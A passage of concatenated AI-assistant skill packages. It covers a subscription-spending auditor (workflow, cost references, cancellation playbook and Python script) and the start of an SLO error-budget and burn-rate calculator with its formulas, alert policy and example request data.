Rates are "1 unit of that currency = X report currency"; use the rate on the user's card statement. Exit code 2 means bad input (unknown cycle, missing rate, bad date, negative amount).
### 3. Walk through the action list
Order of attention: TRIAL (deadline soonest), RENEWS_YEARLY (a big charge is coming), UNUSED, OVERLAP, PRICE_UP, ANNUAL_SAVES. For each item, ask one question: "Would you sign up for this today at this price?" Offer cancel, pause, downgrade, share, or switch to annual (only for services they are sure to keep 12 months).
### 4. Act safely
Use `references/cancellation-playbook.md`. Cancel through the official account page or app store, screenshot the confirmation, and set calendar reminders 3 days before trial ends and yearly renewals.
### 5. Summarize
Fill `templates/subscription-review.md`: before and after monthly and yearly totals, decisions, and reminder dates.
## Example result
For `examples/subscriptions.csv` with USD=0.92 on 2026-10-20: 136.65 EUR/month (1,639.80 EUR/year), 112.66 EUR/month as the user's share, 699.49 EUR/year in four unused services, a DesignPro trial converting on 2026-10-25 to 22.99 EUR/month, a 99.99 EUR CloudVault renewal on 2026-11-05, three overlapping video services, three price increases worth 108 EUR/year, and 237.87 EUR of charges in the next 30 days.
## Rules
- Never ask for card numbers, bank logins, or passwords; amounts and dates are enough.
- Do not cancel anything or contact providers on the user's behalf unless they ask; draft the message instead.
- Keep it judgment-free: some subscriptions are worth it. Present costs and let the user choose.
- Trials count as 0 in current totals; always show what they cost after conversion.
FILE:references/cost-normalization.md
# Cost Normalization
## Charges per month by cycle
| Cycle | Charges per month | Yearly cost of 10.00 |
|---|---|---|
| weekly | 4.348125 (365.25 / 12 / 7) | 521.78 |
| biweekly | 2.1740625 | 260.89 |
| monthly | 1 | 120.00 |
| quarterly | 1/3 | 40.00 |
| semiannual | 1/6 | 20.00 |
| yearly | 1/12 | 10.00 |
| every N days | 30.436875 / N | |
monthly cost = charge x rate x charges per month; yearly cost = monthly x 12. Rounding to cents happens only at the end, so totals do not drift.
## Currencies
- Use one report currency and one rate per foreign currency, e.g. `--rate USD=0.92` (1 USD = 0.92 EUR).
- Best source: the converted amount on the card statement divided by the original amount. It includes the card's FX margin.
- Mention foreign transaction fees separately if the card charges them (often 1-3%).
## Shared plans
- `users` = number of people sharing. Your share = cost / users.
- Show both the full cost (what the card pays) and your share (what you would pay after others pay you back). If others do not actually pay, use users = 1.
## Trials
- A trial has amount 0, `trial_end`, and `paid_after_trial`. Charges on or after `trial_end` use the paid amount in the upcoming-charges list.
- Totals show today's cost (0) so the user sees what changes if they do nothing: the TRIAL flag gives the converted monthly and yearly price.
## Price changes
- `previous_amount` = the price before the latest increase. Yearly impact = (new - old) x rate x charges per month x 12.
- Providers often announce increases by email 30 days ahead; search for "price change" and "new price".
## Annual vs monthly
- Annual saves money only if the service would be kept for 12 months anyway. Saving = monthly cost x 12 - annual price.
- Annual plans are usually not refundable after a short window; switch only for services used every week.
## Renewal dates
- `next_renewal` in the past is rolled forward by the cycle until it is today or later.
- Month-end dates clamp: a plan renewing on the 31st renews on Feb 28 (or 29) and then on the 28th or 31st depending on the provider; check the receipt.
FILE:references/cancellation-playbook.md
# Cancellation and Downgrade Playbook
## Where to cancel
| Billed through | Where to cancel |
|---|---|
| Apple App Store | Settings > your name > Subscriptions |
| Google Play | Play Store > profile > Payments & subscriptions > Subscriptions |
| PayPal | Settings > Payments > Manage automatic payments (stops payments, also cancel with the provider) |
| Directly with the service | Account or billing page on the website; some require a chat or phone call |
| Mobile carrier or TV bundle | Carrier account or support line |
Deleting an app does not cancel its subscription.
## Steps
1. Check the renewal date and whether cancelling ends access now or at the end of the period (usually the end).
2. Export anything you want to keep (photos, playlists, notes, workout history).
3. Cancel through the official channel above, not through links in unexpected emails.
4. Save proof: confirmation email or screenshot with date.
5. Watch the next statement; dispute a charge after cancellation with the provider first, then the card issuer.
## Alternatives to cancelling
- **Pause** (gyms, meal kits, some streaming services) for travel or busy months.
- **Downgrade** to an ad-supported, single-screen, or smaller storage tier.
- **Rotate** streaming: keep one service at a time and switch monthly for the shows you want.
- **Share** a family plan with your household, within the provider's terms.
- **Ask** for a retention offer: many services offer a discount when you start cancelling. Decide your walk-away price first.
## Trials
- Set a reminder 2-3 days before `trial_end`; many trials can be cancelled right after signing up while keeping the trial period.
- Use a virtual card with a limit or a single-merchant card for trials if the bank offers it.
## Message template (support chat or email)
> Hello, please cancel my <service> subscription on the account <email> effective at the end of the current billing period, and confirm by email that no further charges will be made. Thank you.
## Habits that keep costs down
- Review subscriptions every quarter with this skill.
- Keep one calendar with all yearly renewal dates.
- Before subscribing, ask: will I use it at least weekly?
FILE:templates/subscription-review.md
# Subscription Review - <name> - <date>
**Report currency:** <EUR> **Rates:** <1 USD = 0.92 EUR (card statement)>
**Before:** <monthly> /month = <yearly> /year (your share <monthly> /month)
**After decisions:** <monthly> /month = <yearly> /year **Saved per year:** <amount>
## Decisions
| Subscription | Cost per year | Flag | Decision | Done |
|---|---|---|---|---|
| | | | keep / cancel / pause / downgrade / switch to annual | [ ] |
## Deadlines and reminders
| Date | What | Reminder set |
|---|---|---|
| | trial ends | [ ] |
| | yearly renewal | [ ] |
## Next 30 days of charges
- <date> <name> <amount>
## Notes
- Shared plans: <who pays what back>
- Price increases noticed: <service old -> new>
- Next review: <date, about 3 months from now>
FILE:examples/subscriptions.csv
name,amount,currency,cycle,next_renewal,category,last_used,users,trial_end,previous_amount,annual_price,paid_after_trial
StreamFlix Premium,17.99,EUR,monthly,2026-10-27,Video streaming,2026-10-18,2,,15.99,,
CineBox,8.99,EUR,monthly,2026-11-03,Video streaming,2026-08-02,1,,,89.90,
AnimeNow,6.49,USD,monthly,2026-10-22,Video streaming,2026-07-15,1,,,,
TuneWave Family,19.99,EUR,monthly,2026-11-10,Music,2026-10-19,4,,16.99,,
CloudVault 2 TB,99.99,EUR,yearly,2026-11-05,Cloud storage,2026-10-19,1,,,,
PhotoCloud 200 GB,2.99,EUR,monthly,2026-11-01,Cloud storage,2026-10-10,1,,,29.99,
FitPulse Gym,39.00,EUR,monthly,2026-11-01,Fitness,2026-09-04,1,,35.00,,
Yoga Daily App,59.99,USD,yearly,2027-03-14,Fitness,2026-10-12,1,,,,
NewsLine Digital,4.99,EUR,weekly,2026-10-23,News,2026-10-19,1,,,,
PasswordSafe,36.00,USD,yearly,2027-01-20,Software,2026-10-19,1,,,,
DesignPro Trial,0.00,USD,monthly,2026-10-25,Design,2026-10-02,1,2026-10-25,,,24.99
LangLeap Plus,12.99,EUR,quarterly,2026-12-01,Learning,2026-06-30,1,,,,
FILE:scripts/sub_audit.py
#!/usr/bin/env python3
"""Subscription spending auditor (Python 3 standard library only).
Input CSV columns (header names are case-insensitive; only name, amount, cycle are required):
name, amount, currency, cycle, next_renewal, category, last_used, users, trial_end,
previous_amount, annual_price, paid_after_trial
cycle: weekly, biweekly, monthly, quarterly, semiannual, yearly/annual, or "every N days|weeks|months|years"
(also short forms like 2w, 3m, 1y).
users: how many people share the plan; your share = amount / users (default 1).
trial_end + paid_after_trial: a free trial (amount 0) that converts to paid_after_trial on trial_end.
Reports, all converted to one currency with explicit rates (--rate USD=0.92):
monthly and yearly cost per item and in total, by category, your share of shared plans,
renewals in the next --days days (past dates are rolled forward by the cycle),
flags: UNUSED (last_used older than --unused-days), OVERLAP (several items in one category),
TRIAL (trial ends within --days; amount after trial if given), PRICE_UP (amount > previous_amount),
ANNUAL_SAVES (annual_price cheaper than 12 x monthly), RENEWS_YEARLY (a yearly charge within --days).
Usage:
python3 sub_audit.py subscriptions.csv --currency EUR --rate USD=0.92 --today 2026-10-20
python3 sub_audit.py subscriptions.csv --json
python3 sub_audit.py --self-test
Exit code: 0 OK, 2 bad input.
"""
import argparse
import calendar
import csv
import datetime as dt
import json
import re
import sys
from decimal import Decimal, ROUND_HALF_UP
NAMED = {"weekly": (1, "w"), "biweekly": (2, "w"), "fortnightly": (2, "w"), "monthly": (1, "m"),
"bimonthly": (2, "m"), "quarterly": (3, "m"), "semiannual": (6, "m"), "semiannually": (6, "m"),
"half-yearly": (6, "m"), "yearly": (12, "m"), "annual": (12, "m"), "annually": (12, "m")}
UNIT = {"d": "d", "day": "d", "days": "d", "w": "w", "week": "w", "weeks": "w", "m": "m", "month": "m",
"months": "m", "y": "y", "year": "y", "years": "y"}
PER_MONTH = {"d": Decimal("30.436875"), "w": Decimal("4.348125"), "m": Decimal(1), "y": Decimal(1) / 12}
D2 = Decimal("0.01")
class AuditError(ValueError):
pass
def parse_cycle(s):
s = (s or "").strip().lower()
if s in NAMED:
n, u = NAMED[s]
return n, u
m = re.fullmatch(r"(?:every\s+)?(\d+)\s*([a-z]+)", s)
if m and m.group(2) in UNIT:
n, u = int(m.group(1)), UNIT[m.group(2)]
if n <= 0:
raise AuditError(f"cycle must be positive: {s!r}")
if u == "y":
return n * 12, "m"
return n, u
raise AuditError(f"unknown cycle {s!r} (use weekly, monthly, quarterly, yearly or 'every 2 months')")
def monthly_factor(n, u):
"""How many charges per month for a cycle of n units."""
return PER_MONTH[u] / n
def add_cycle(d, n, u):
if u == "d":
return d + dt.timedelta(days=n)
if u == "w":
return d + dt.timedelta(weeks=n)
m = d.month - 1 + n
y, m = d.year + m // 12, m % 12 + 1
return dt.date(y, m, min(d.day, calendar.monthrange(y, m)[1]))
def parse_date(s, field, name):
s = (s or "").strip()
if not s:
return None
try:
return dt.date.fromisoformat(s)
except ValueError:
raise AuditError(f"{name}: bad {field} date {s!r} (use YYYY-MM-DD)")
def money(s, field, name, required=False):
s = (s or "").strip().replace(",", "") if (s or "").count(",") and "." in (s or "") else (s or "").strip().replace(",", ".")
if not s:
if required:
raise AuditError(f"{name}: {field} is required")
return None
try:
v = Decimal(s)
except Exception:
raise AuditError(f"{name}: bad {field} {s!r}")
if v < 0:
raise AuditError(f"{name}: {field} cannot be negative")
return v
def q(v):
return v.quantize(D2, rounding=ROUND_HALF_UP)
def load(lines):
rd = csv.DictReader(lines)
if not rd.fieldnames:
raise AuditError("empty CSV")
rows = []
for r in rd:
r = {(k or "").strip().lower(): (v or "").strip() for k, v in r.items()}
if not any(r.values()):
continue
if not r.get("name"):
raise AuditError("every row needs a name")
rows.append(r)
if not rows:
raise AuditError("no subscriptions found")
return rows
def audit(rows, currency="EUR", rates=None, today=None, days=30, unused_days=45):
rates = {k.upper(): Decimal(str(v)) for k, v in (rates or {}).items()}
rates[currency.upper()] = Decimal(1)
today = today or dt.date.today()
horizon = today + dt.timedelta(days=days)
items, flags, renewals, raw = [], [], [], {}
for r in rows:
name = r["name"]
cur = (r.get("currency") or currency).upper()
if cur not in rates:
raise AuditError(f"{name}: no rate for {cur}; pass --rate {cur}=<value in {currency}>")
rate = rates[cur]
n, u = parse_cycle(r.get("cycle"))
amount = money(r.get("amount"), "amount", name, required=True)
after_trial = money(r.get("paid_after_trial"), "paid_after_trial", name)
trial_end = parse_date(r.get("trial_end"), "trial_end", name)
users = int(r.get("users") or 1)
if users < 1:
raise AuditError(f"{name}: users must be at least 1")
charge = amount * rate
f = monthly_factor(n, u)
monthly = charge * f
item = {"name": name, "category": r.get("category") or "Other", "currency": cur, "amount": float(amount),
"cycle": r.get("cycle"), "monthly": q(monthly), "yearly": q(monthly * 12), "users": users,
"your_monthly": q(monthly / users), "your_yearly": q(monthly * 12 / users)}
raw[name] = (monthly, monthly / users)
items.append(item)
nxt = parse_date(r.get("next_renewal"), "next_renewal", name)
if nxt:
while nxt < today:
nxt = add_cycle(nxt, n, u)
item["next_renewal"] = nxt.isoformat()
d = nxt
while d <= horizon:
due = charge
if trial_end and d >= trial_end and after_trial is not None:
due = after_trial * rate
renewals.append({"date": d.isoformat(), "name": name, "amount": q(due)})
d = add_cycle(d, n, u)
if (n, u) in ((12, "m"),) or (u == "m" and n >= 12):
if nxt <= horizon:
flags.append({"name": name, "flag": "RENEWS_YEARLY",
"detail": f"{q(charge)} {currency} charge on {nxt.isoformat()}; decide before then"})
last = parse_date(r.get("last_used"), "last_used", name)
if last and (today - last).days > unused_days:
flags.append({"name": name, "flag": "UNUSED",
"detail": f"last used {last.isoformat()} ({(today - last).days} days ago); costs {q(monthly * 12)} {currency}/year"})
if trial_end and today <= trial_end <= horizon:
extra = (f"; then {q(after_trial * rate)} {currency} per charge ({q(after_trial * rate * f * 12)} {currency}/year)"
if after_trial is not None else "")
flags.append({"name": name, "flag": "TRIAL",
"detail": f"trial ends {trial_end.isoformat()} ({(trial_end - today).days} days){extra}; cancel or keep on purpose"})
prev = money(r.get("previous_amount"), "previous_amount", name)
if prev and amount > prev:
pct = (amount - prev) / prev * 100
flags.append({"name": name, "flag": "PRICE_UP",
"detail": f"{prev} -> {amount} {cur} (+{q(pct)}%), +{q((amount - prev) * rate * f * 12)} {currency}/year"})
annual = money(r.get("annual_price"), "annual_price", name)
if annual is not None and not (u == "m" and n == 12):
save = monthly * 12 - annual * rate
if save > 0:
flags.append({"name": name, "flag": "ANNUAL_SAVES",
"detail": f"annual plan {q(annual * rate)} {currency} vs {q(monthly * 12)} {currency} paid {r.get('cycle')}: saves {q(save)} {currency}/year if you keep it 12 months"})
cats = {}
for it in items:
c = cats.setdefault(it["category"], {"count": 0, "monthly": Decimal(0), "names": []})
c["count"] += 1
c["monthly"] += raw[it["name"]][0]
c["names"].append(it["name"])
for cname, c in sorted(cats.items()):
if c["count"] > 1:
flags.append({"name": ", ".join(c["names"]), "flag": "OVERLAP",
"detail": f"{c['count']} subscriptions in {cname} ({q(c['monthly'])} {currency}/month); keep the one you use most"})
order = {"TRIAL": 0, "RENEWS_YEARLY": 1, "UNUSED": 2, "OVERLAP": 3, "PRICE_UP": 4, "ANNUAL_SAVES": 5}
flags.sort(key=lambda x: (order[x["flag"]], x["name"]))
renewals.sort(key=lambda x: (x["date"], x["name"]))
unused_names = {f["name"] for f in flags if f["flag"] == "UNUSED"}
total_m = sum((raw[it["name"]][0] for it in items), Decimal(0))
your_m = sum((raw[it["name"]][1] for it in items), Decimal(0))
return {
"currency": currency, "today": today.isoformat(), "days": days, "rates": {k: str(v) for k, v in rates.items()},
"count": len(items), "monthly_total": q(total_m), "yearly_total": q(total_m * 12),
"your_monthly_total": q(your_m), "your_yearly_total": q(your_m * 12),
"unused_yearly": q(sum((raw[it["name"]][0] * 12 for it in items if it["name"] in unused_names), Decimal(0))),
"next_days_total": q(sum((x["amount"] for x in renewals), Decimal(0))),
"by_category": {k: {"count": v["count"], "monthly": q(v["monthly"])} for k, v in sorted(cats.items(), key=lambda kv: -kv[1]["monthly"])},
"items": sorted(items, key=lambda it: -it["monthly"]), "renewals": renewals, "flags": flags,
}
def to_markdown(r):
c = r["currency"]
out = ["# Subscription audit", "",
f"**As of:** {r['today']} **Subscriptions:** {r['count']} **Currency:** {c} **Rates:** "
+ ", ".join(f"1 {k} = {v} {c}" for k, v in r["rates"].items() if k != c.upper()),
f"**Total:** {r['monthly_total']} {c}/month = {r['yearly_total']} {c}/year "
f"**Your share:** {r['your_monthly_total']} {c}/month = {r['your_yearly_total']} {c}/year",
f"**Unused (yearly cost):** {r['unused_yearly']} {c} **Charges in next {r['days']} days:** {r['next_days_total']} {c}",
"", "## Action list", ""]
out += [f"- **{f['flag']}** {f['name']}: {f['detail']}" for f in r["flags"]] or ["- Nothing to act on."]
out += ["", "## All subscriptions (most expensive first)", "",
"| Name | Category | Charge | Cycle | Per month | Per year | Users | Your year | Next renewal |",
"|---|---|---|---|---|---|---|---|---|"]
for it in r["items"]:
out.append(f"| {it['name']} | {it['category']} | {it['amount']:.2f} {it['currency']} | {it['cycle']} | {it['monthly']} | "
f"{it['yearly']} | {it['users']} | {it['your_yearly']} | {it.get('next_renewal', '')} |")
out += ["", "## By category", "", "| Category | Count | Per month |", "|---|---|---|"]
out += [f"| {k} | {v['count']} | {v['monthly']} |" for k, v in r["by_category"].items()]
out += ["", f"## Charges in the next {r['days']} days", ""]
out += [f"- {x['date']} {x['name']}: {x['amount']} {c}" for x in r["renewals"]] or ["- none"]
return "\n".join(out)
def self_test():
cases = []
def ok(name, cond):
cases.append((name, bool(cond)))
T = dt.date(2026, 10, 20)
hdr = "name,amount,currency,cycle,next_renewal,category,last_used,users,trial_end,previous_amount,annual_price,paid_after_trial"
def run(*lines, **kw):
return audit(load([hdr, *lines]), today=T, **kw)
ok("named cycles", parse_cycle("Quarterly") == (3, "m") and parse_cycle("annual") == (12, "m"))
ok("every N units", parse_cycle("every 2 weeks") == (2, "w") and parse_cycle("1y") == (12, "m"))
ok("month end clamps", add_cycle(dt.date(2026, 1, 31), 1, "m") == dt.date(2026, 2, 28))
ok("leap year clamp", add_cycle(dt.date(2027, 2, 28), 12, "m") == dt.date(2028, 2, 28) and add_cycle(dt.date(2028, 1, 31), 1, "m") == dt.date(2028, 2, 29))
r = run("A,10,EUR,monthly,,X,,,,,,")
ok("monthly 10 = 120/year", r["yearly_total"] == Decimal("120.00"))
r = run("A,120,EUR,yearly,,X,,,,,,")
ok("yearly 120 = 10/month", r["monthly_total"] == Decimal("10.00"))
r = run("A,5,EUR,weekly,,X,,,,,,")
ok("weekly 5 = 260.89/year", r["yearly_total"] == Decimal("260.89") and r["items"][0]["monthly"] == Decimal("21.74"))
r = run("A,1,EUR,monthly,,X,,3,,,,", "B,1,EUR,monthly,,X,,3,,,,", "C,1,EUR,monthly,,X,,3,,,,")
ok("totals use unrounded shares", r["your_monthly_total"] == Decimal("1.00"))
r = run("A,10,USD,monthly,,X,,,,,,", rates={"USD": "0.9"})
ok("currency rate applied", r["monthly_total"] == Decimal("9.00"))
try:
run("A,10,GBP,monthly,,X,,,,,,")
ok("missing rate rejected", False)
except AuditError:
ok("missing rate rejected", True)
r = run("Fam,20,EUR,monthly,,Music,,4,,,,")
ok("shared plan your share", r["your_monthly_total"] == Decimal("5.00") and r["monthly_total"] == Decimal("20.00"))
r = run("Old,10,EUR,monthly,,X,2026-07-01,,,,,")
ok("unused flagged", any(f["flag"] == "UNUSED" for f in r["flags"]) and r["unused_yearly"] == Decimal("120.00"))
r = run("Fresh,10,EUR,monthly,,X,2026-10-01,,,,,")
ok("recent use not flagged", not r["flags"])
r = run("A,10,EUR,monthly,,Video,,,,,,", "B,8,EUR,monthly,,Video,,,,,,")
ok("overlap flagged", [f["flag"] for f in r["flags"]] == ["OVERLAP"])
r = run("T,0,EUR,monthly,2026-10-25,Software,,,2026-10-25,,,24.99")
ok("trial flagged with paid price", r["flags"][0]["flag"] == "TRIAL" and "24.99" in r["flags"][0]["detail"])
ok("trial charge counted in renewals", r["renewals"][0]["amount"] == Decimal("24.99"))
r = run("P,12,EUR,monthly,,X,,,,10,,")
ok("price increase flagged", r["flags"][0]["flag"] == "PRICE_UP" and "+20.00%" in r["flags"][0]["detail"] and "+24.00" in r["flags"][0]["detail"])
r = run("M,10,EUR,monthly,,X,,,,,99,")
ok("annual saving flagged", r["flags"][0]["flag"] == "ANNUAL_SAVES" and "saves 21.00" in r["flags"][0]["detail"])
r = run("M,10,EUR,monthly,,X,,,,,130,")
ok("no saving when annual is pricier", not r["flags"])
r = run("Y,50,EUR,yearly,2026-11-01,X,,,,,,")
ok("yearly renewal soon flagged", r["flags"][0]["flag"] == "RENEWS_YEARLY")
r = run("W,1,EUR,weekly,2026-10-21,X,,,,,,")
ok("weekly renewals listed in window", len(r["renewals"]) == 5 and r["next_days_total"] == Decimal("5.00"))
r = run("Past,10,EUR,monthly,2026-08-15,X,,,,,,")
ok("rolled forward to the future", r["items"][0]["next_renewal"] == "2026-11-15")
for line, label in [("A,-3,EUR,monthly,,X,,,,,,", "negative amount rejected"),
("A,3,EUR,sometimes,,X,,,,,,", "unknown cycle rejected"),
("A,3,EUR,monthly,20-10-2026,X,,,,,,", "bad date rejected"),
("A,3,EUR,monthly,,X,,0,,,,", "zero users rejected")]:
try:
run(line)
ok(label, False)
except AuditError:
ok(label, True)
ok("markdown has action list", "## Action list" in to_markdown(run("A,10,EUR,monthly,,X,,,,,,")))
passed = sum(c for _, c in cases)
for name, c in cases:
print(("PASS " if c else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def default(o):
if isinstance(o, Decimal):
return float(o)
raise TypeError(type(o))
def main(argv=None):
ap = argparse.ArgumentParser(description="Audit recurring subscriptions: true yearly cost, unused, overlapping, trials and renewals.")
ap.add_argument("file", nargs="?", help="subscriptions CSV ('-' for stdin)")
ap.add_argument("--currency", default="EUR", help="report currency (default EUR)")
ap.add_argument("--rate", action="append", default=[], metavar="CUR=VALUE",
help="1 CUR = VALUE report-currency units, e.g. USD=0.92 (repeatable)")
ap.add_argument("--today", help="evaluation date YYYY-MM-DD (default: today)")
ap.add_argument("--days", type=int, default=30, help="look-ahead for renewals and trials (default 30)")
ap.add_argument("--unused-days", type=int, default=45, help="flag items not used for this many days (default 45)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
ap.error("subscriptions CSV required (or --self-test)")
try:
rates = {}
for x in a.rate:
k, _, v = x.partition("=")
if not v:
raise AuditError(f"bad --rate {x!r}, use CUR=VALUE")
rates[k.strip().upper()] = Decimal(v.strip())
lines = sys.stdin.read().splitlines() if a.file == "-" else open(a.file, encoding="utf-8").read().splitlines()
today = dt.date.fromisoformat(a.today) if a.today else None
r = audit(load(lines), a.currency.upper(), rates, today, a.days, a.unused_days)
except (OSError, AuditError, ValueError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2, default=default, ensure_ascii=False) if a.json else to_markdown(r))
return 0
if __name__ == "__main__":
sys.exit(main())Turns request counts into SLO answers: SLI, error budget for a 28d or 30d window, budget consumed and remaining, burn rates over 5m to 3d, multiwindow burn-rate alerts (page at 14.4x and 6x, ticket at 3x and 1x, scaled to the window), and time until the budget runs out. Use when setting an SLO, tuning alerts, deciding on a release freeze, or writing an incident summary. Includes a stdlib Python calculator with --self-test.
---
name: slo-error-budget-burn-rate-calculator
description: Turns request counts into SLO answers: SLI, error budget for a 28d or 30d window, budget consumed and remaining, burn rates over 5m to 3d, multiwindow burn-rate alerts (page at 14.4x and 6x, ticket at 3x and 1x, scaled to the window), and time until the budget runs out. Use when setting an SLO, tuning alerts, deciding on a release freeze, or writing an incident summary. Includes a stdlib Python calculator with --self-test.
---
# SLO Error Budget and Burn Rate Calculator
You help engineers and on-call teams reason about reliability with numbers instead of gut feeling. You turn good/total request counts into an SLI, translate the SLO into an error budget, show how fast the budget is burning in several windows, say which alerts would page or open a ticket, and estimate when the budget runs out at the current pace. You explain every number in plain language so product owners can follow the decision.
## Files in this skill
- `scripts/slo_budget.py` - reads a CSV of request counts per interval and prints SLI, budget consumed and remaining, burn rates, alert states, exhaustion times and the worst interval; `--allowance` prints allowed downtime and alert thresholds for any SLO (Python 3 standard library only)
- `references/slo-math.md` - formulas for SLI, error budget, burn rate, projected consumption, and worked numbers for common targets
- `references/burn-rate-alerting.md` - the multiwindow, multi-burn-rate alert policy, how thresholds scale with the window, and tuning advice
- `templates/slo-status-report.md` - a weekly SLO status or incident budget summary
- `examples/checkout-api-requests.csv` - two days of 15-minute request counts for a checkout API with a small blip and a 2-hour incident at the end
## Workflow
### 1. Define the SLI and SLO
Ask what a "good" event is (status < 500, latency under 300 ms, successful job run), where the counts come from, the target (99%, 99.5%, 99.9%, 99.95%), and the window (rolling 28 or 30 days). Push back on targets the system has never met: show the historical SLI first.
### 2. Get the data
Export good and total (or bad and total) counts per interval, for example 1-minute, 5-minute or 15-minute buckets, as CSV with `timestamp,total,good`. The timestamp marks the start of each interval. Use UTC.
### 3. Run the calculator
```
python3 scripts/slo_budget.py examples/checkout-api-requests.csv --slo 99.9 --window 30d
python3 scripts/slo_budget.py requests.csv --slo 99.5 --window 28d --json > slo.json
python3 scripts/slo_budget.py requests.csv --now 2026-10-19T22:00:00Z
python3 scripts/slo_budget.py --allowance --slo 99.95 --window 30d
python3 scripts/slo_budget.py --self-test
```
Exit code 1 means a page alert is firing or the budget is exhausted; 2 means bad input (missing columns, bad > total, unparseable timestamps).
### 4. Interpret
- Burn rate 1.0 spends exactly the budget over the window; 14.4 for an hour spends 2% of a 30-day budget.
- Budget consumed is projected against the traffic seen so far; with less than a full window of data, say so.
- An alert fires only when both its long and short window exceed the threshold; the short window makes it stop quickly after recovery. See `references/burn-rate-alerting.md`.
- Windows shorter than the data step are rounded up to one step; windows longer than the data are "not evaluable".
### 5. Recommend and report
Tie the numbers to a decision: page now, open a ticket, slow down risky releases while remaining budget is low, or loosen an SLO that is always violated by design. Fill `templates/slo-status-report.md`.
## Example result
For `examples/checkout-api-requests.csv` at 99.9% over 30d: SLI 99.8768%, 8.2% of the budget consumed, 1h burn 26.46 and 5m burn 28.06 so the fast page fires, 6h burn 5.83 just under 6.0, the 3d ticket is not evaluable with two days of data, and at the last hour's pace the budget is gone in about 1d 16h. Exit code 1.
## Rules
- State the SLO, window, data range and any missing intervals with every result.
- Do not mix good-event definitions in one SLI; compute separate SLOs for availability and latency.
- An SLO is a decision tool, not a blame tool: describe impact on users, not on people.
- Do not invent traffic numbers; if counts are missing, ask for them or say which result cannot be computed.
FILE:references/slo-math.md
# SLO Math
## Definitions
- **SLI** (service level indicator) = good events / total events, as a percentage.
- **SLO** (objective) = target SLI over a window, e.g. 99.9% of requests succeed over a rolling 30 days.
- **Error budget** = 1 - SLO = the share of events allowed to fail. 99.9% -> 0.1%.
- **Budget in events** = (1 - SLO) x total events in the window.
- **Error rate** over a window = bad / total in that window.
- **Burn rate** = error rate / (1 - SLO). 1.0 means the budget would be exactly used up at the end of the window.
## Projected consumption with partial data
With D seconds of data and W seconds of SLO window:
- expected requests in window = (requests in data / D) x W
- allowed bad = (1 - SLO) x expected requests
- consumed = bad in data / allowed bad
- time to exhaustion at a recent rate = (allowed bad - bad so far) / (bad per second in that recent window)
## Allowed full downtime
| SLO | per 30 days | per 28 days | per week | per day |
|---|---|---|---|---|
| 99% | 7h 12m | 6h 43m 12s | 1h 40m 48s | 14m 24s |
| 99.5% | 3h 36m | 3h 21m 36s | 50m 24s | 7m 12s |
| 99.9% | 43m 12s | 40m 19s | 10m 5s | 1m 26s |
| 99.95% | 21m 36s | 20m 10s | 5m 2s | 43s |
| 99.99% | 4m 19s | 4m 2s | 1m 0s | 9s |
Request-based SLOs do not care about clock time directly: 10 minutes of 50% errors costs the same as 5 minutes of full downtime at equal traffic, and an outage at 3 a.m. costs less budget than one at peak.
## Worked example
SLO 99.9%, 30d window, 1,000,000 requests per day.
- Budget: 0.001 x 30,000,000 = 30,000 failed requests.
- A 2% error rate for one hour at 41,667 req/h burns 833 failures = 2.8% of the budget, burn rate 20.
- At burn rate 20 the whole budget lasts 30d / 20 = 36 hours.
## Pitfalls
- Counting retries as separate good events hides user-facing failures.
- Very low traffic (night, new region) makes error rates noisy; use a minimum request count or a longer short window.
- Synthetic probes measure the probe, not users; label them separately.
- Changing the SLO mid-window: recompute the whole window with the new target and say so.
FILE:references/burn-rate-alerting.md
# Burn-Rate Alerting
## Default policy (multiwindow, multi-burn-rate)
| Severity | Budget share | Long window | Short window | Burn threshold (30d) | Burn threshold (28d) |
|---|---|---|---|---|---|
| page | 2% | 1h | 5m | 14.4 | 13.44 |
| page | 5% | 6h | 30m | 6.0 | 5.6 |
| ticket | 10% | 1d | 2h | 3.0 | 2.8 |
| ticket | 10% | 3d | 6h | 1.0 | 0.93 |
Threshold = budget share x SLO window / long window. Example: 0.02 x 720h / 1h = 14.4.
## Why two windows
- The **long window** proves the problem is significant (enough budget spent).
- The **short window** (about 1/12 of the long one) proves it is still happening, so the alert resets within minutes after recovery instead of staying red for an hour.
- Fire only when both exceed the threshold.
## Example alert rule (Prometheus style)
```
(
sum(rate(http_requests_errors_total[1h])) / sum(rate(http_requests_total[1h])) > (14.4 * 0.001)
and
sum(rate(http_requests_errors_total[5m])) / sum(rate(http_requests_total[5m])) > (14.4 * 0.001)
)
```
## Tuning
- Low-traffic services: require a minimum number of requests in the short window, or page on 6h only.
- Too many pages: check whether the SLO is stricter than users need before raising thresholds.
- Missed incidents: slow burns below 1.0 never alert by design; review the budget weekly.
- Data step coarser than the short window (e.g. 15-minute buckets): the short window becomes one bucket and recovery detection is slower.
## Budget policy ideas
- Over 50% consumed: review risky changes, prefer canaries.
- Over 75%: release freeze for non-fixes, reliability work first.
- Exhausted: postmortem required; freeze until the rolling window recovers.
FILE:templates/slo-status-report.md
# SLO Status - <service> - <period or incident>
**SLI:** <what counts as good> **SLO:** <target>% over rolling <28d/30d>
**Data:** <start> to <end> UTC, step <interval>, <n> missing intervals
**Calculator:** `slo_budget.py --slo <target> --window <window>` (exit <code>)
## Budget
| Metric | Value |
|---|---|
| SLI in period | |
| Budget consumed | |
| Budget remaining | |
| Allowed full downtime per window | |
## Burn rates
| 5m | 30m | 1h | 2h | 6h | 1d | 3d |
|---|---|---|---|---|---|---|
| | | | | | | |
## Alerts
| Policy | Status | Long / short burn |
|---|---|---|
| page 1h/5m | | |
| page 6h/30m | | |
| ticket 1d/2h | | |
| ticket 3d/6h | | |
## What happened
<worst interval, user impact, cause if known>
## Decision
- [ ] Page / incident open
- [ ] Release policy: <normal / caution / freeze> because <remaining budget>
- [ ] SLO or alert tuning: <change and reason>
## Summary for stakeholders
> <service> met <SLI>% against a <target>% target. <x>% of this window's error budget is used; at the current pace it lasts <time>. Next step: <decision>.
FILE:examples/checkout-api-requests.csv
timestamp,total,good
2026-10-18T00:00:00Z,4757,4755
2026-10-18T00:15:00Z,4525,4523
2026-10-18T00:30:00Z,4313,4311
2026-10-18T00:45:00Z,4122,4120
2026-10-18T01:00:00Z,3951,3949
2026-10-18T01:15:00Z,3803,3801
2026-10-18T01:30:00Z,3678,3676
2026-10-18T01:45:00Z,3577,3576
2026-10-18T02:00:00Z,3500,3498
